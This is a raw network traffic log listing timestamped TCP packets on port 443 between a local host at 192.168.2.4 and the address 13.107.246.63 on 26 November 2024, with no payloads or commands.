Nov 26, 2024 08:56:39.167062044 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:39.167074919 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.033833027 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.037215948 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.037245035 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.038192987 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.038197041 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.138974905 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.140132904 CET	50034	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.140151978 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.140566111 CET	50034	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.140571117 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.468776941 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.472328901 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.473458052 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.473529100 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.473543882 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.473558903 CET	50033	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.473563910 CET	443	50033	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.478060961 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.478168011 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.478243113 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.479290962 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.479341030 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.573052883 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.576103926 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.576215029 CET	50034	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.578560114 CET	50034	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.578574896 CET	443	50034	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.597007036 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.597040892 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.597103119 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.612869024 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.612884045 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.769553900 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.769992113 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.770055056 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.770474911 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.770504951 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.843374968 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.843786001 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.843839884 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.844244957 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.844261885 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.946621895 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.947349072 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.947371006 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:40.948189974 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:40.948195934 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.206155062 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.209255934 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.209300995 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.209391117 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.210014105 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.210014105 CET	50035	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.210056067 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.210083961 CET	443	50035	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.212717056 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.212763071 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.212869883 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.213017941 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.213028908 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.279340029 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.282448053 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.282536030 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.282622099 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.282685995 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.282713890 CET	50036	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.282728910 CET	443	50036	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.286555052 CET	50041	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.286606073 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.286669016 CET	50041	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.286989927 CET	50041	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.287004948 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.391434908 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.394669056 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.394710064 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.394748926 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.394808054 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.395068884 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.395083904 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.395119905 CET	50037	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.395126104 CET	443	50037	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.398238897 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.398281097 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:41.399113894 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.399307966 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:41.399321079 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.264846087 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.339541912 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.339612007 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.343384981 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.343394995 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.393569946 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.464118004 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.474960089 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.474989891 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.476305008 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.476310968 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.710406065 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.710489035 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.710752964 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.710967064 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.710967064 CET	50038	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.711028099 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.711061001 CET	443	50038	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.713690042 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.713737011 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.713799953 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.714104891 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.714119911 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.838128090 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.841279984 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.841392040 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.841464996 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.841487885 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.841497898 CET	50039	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.841502905 CET	443	50039	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.844077110 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.844113111 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.844173908 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.844371080 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.844382048 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.930679083 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.931057930 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.931097984 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:42.931617022 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:42.931622982 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.071162939 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.071635962 CET	50041	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.071665049 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.072107077 CET	50041	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.072113991 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.181164980 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.181991100 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.182028055 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.182583094 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.182590008 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.366688013 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.370306015 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.370417118 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.370464087 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.370486021 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.370497942 CET	50040	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.370502949 CET	443	50040	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.373229027 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.373272896 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.373420954 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.373605967 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.373622894 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.516280890 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.519294024 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.519352913 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.519404888 CET	50041	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.519481897 CET	50041	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.519507885 CET	443	50041	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.523616076 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.523662090 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.523957014 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.524257898 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.524271965 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.629297018 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.629369020 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.629436970 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.629709959 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.629733086 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.629744053 CET	50042	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.629749060 CET	443	50042	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.633593082 CET	50047	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.633630991 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:43.633774996 CET	50047	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.633977890 CET	50047	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:43.633991003 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:44.560548067 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:44.561662912 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:44.561697006 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:44.562712908 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:44.562719107 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:44.699973106 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:44.705468893 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:44.705502987 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:44.707669020 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:44.707674980 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.015150070 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.018161058 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.018217087 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.018327951 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.029587984 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.029614925 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.029628992 CET	50043	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.029635906 CET	443	50043	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.067061901 CET	50048	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.067118883 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.071135044 CET	50048	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.080135107 CET	50048	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.080151081 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.154154062 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.157208920 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.161230087 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.161978006 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.161998034 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.162009001 CET	50044	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.162014008 CET	443	50044	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.168181896 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.168220997 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.168401003 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.168606043 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.168616056 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.217905998 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.218425989 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.218442917 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.219218969 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.219224930 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.306900024 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.307657003 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.307679892 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.308327913 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.308332920 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.414400101 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.415117979 CET	50047	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.415138960 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.415893078 CET	50047	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.415899038 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.672203064 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.676635027 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.676686049 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.676697969 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.676748037 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.676958084 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.676979065 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.676991940 CET	50045	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.676997900 CET	443	50045	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.680028915 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.680078030 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.680221081 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.680358887 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.680372953 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.752151966 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.755439997 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.755485058 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.755568027 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.755587101 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.755598068 CET	50046	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.755604029 CET	443	50046	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.758120060 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.758152962 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.758395910 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.758523941 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.758536100 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.861629963 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.864505053 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.864600897 CET	50047	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.864975929 CET	50047	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.864994049 CET	443	50047	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.871366024 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.871403933 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:45.871495008 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.871682882 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:45.871695042 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:46.863224030 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:46.863672972 CET	50048	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:46.863709927 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:46.864185095 CET	50048	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:46.864192009 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.015526056 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.016381979 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.016405106 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.017059088 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.017065048 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.309832096 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.309914112 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.309963942 CET	50048	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.311183929 CET	50048	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.311193943 CET	443	50048	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.314152002 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.314181089 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.314266920 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.314575911 CET	50053	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.314588070 CET	443	50053	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.404974937 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.406569958 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.406589031 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.407350063 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.407354116 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.471002102 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.473745108 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.473820925 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.473890066 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.474162102 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.474185944 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.474195957 CET	50049	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.474201918 CET	443	50049	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.482769012 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.482817888 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.482963085 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.484116077 CET	50054	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.484132051 CET	443	50054	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.540082932 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.646878004 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.660219908 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.771872044 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.772352934 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.772386074 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.773010015 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.773016930 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.774920940 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.774930954 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.775408030 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.775413036 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.840854883 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.843909979 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.845560074 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.845716000 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.845732927 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.845746040 CET	50050	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.845752001 CET	443	50050	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.849143028 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.849203110 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:47.849297047 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.849507093 CET	50055	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:47.849524021 CET	443	50055	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.097670078 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.100795984 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.100860119 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.100929022 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.100948095 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.100972891 CET	50051	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.100979090 CET	443	50051	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.103355885 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.103385925 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.103710890 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.103797913 CET	50056	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.103807926 CET	443	50056	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.104368925 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.107487917 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.107554913 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.107799053 CET	50052	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.107808113 CET	443	50052	13.107.246.63	192.168.2.4
Nov 26, 2024 08:56:48.110598087 CET	50057	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:56:48.110637903 CET	443	50057	13.107.246.63	192.168.2.4
